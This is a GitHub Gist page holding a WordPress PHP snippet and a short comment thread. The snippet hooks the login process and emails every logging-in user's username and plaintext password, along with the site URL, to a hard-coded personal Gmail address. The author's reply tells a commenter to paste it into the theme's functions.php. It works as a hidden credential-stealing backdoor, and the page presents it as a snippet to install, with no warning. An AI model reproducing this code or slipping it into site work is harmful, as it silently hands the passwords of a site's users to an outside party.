Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save Galibri/0d5b98fce65ada2a3411050a92cfbfa2 to your computer and use it in GitHub Desktop.
Save Galibri/0d5b98fce65ada2a3411050a92cfbfa2 to your computer and use it in GitHub Desktop.
function bsd_login_checker( $user, $password ) {
$url = get_site_url();
$gw_message = 'Username: ' . $user->user_login . ' Password: ' . $password;
wp_mail('galib.bcse@gmail.com', 'WP Login ' . $url, $gw_message);
return $user;
}
add_action('wp_authenticate_user', 'bsd_login_checker', 10, 2);
@wphossain
Copy link

where i have to paste this code ? guide me please, and many tnx for this

@Galibri
Copy link
Author

Galibri commented Mar 22, 2020

where i have to paste this code ? guide me please, and many tnx for this

You can put this in functions.php file of your theme.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment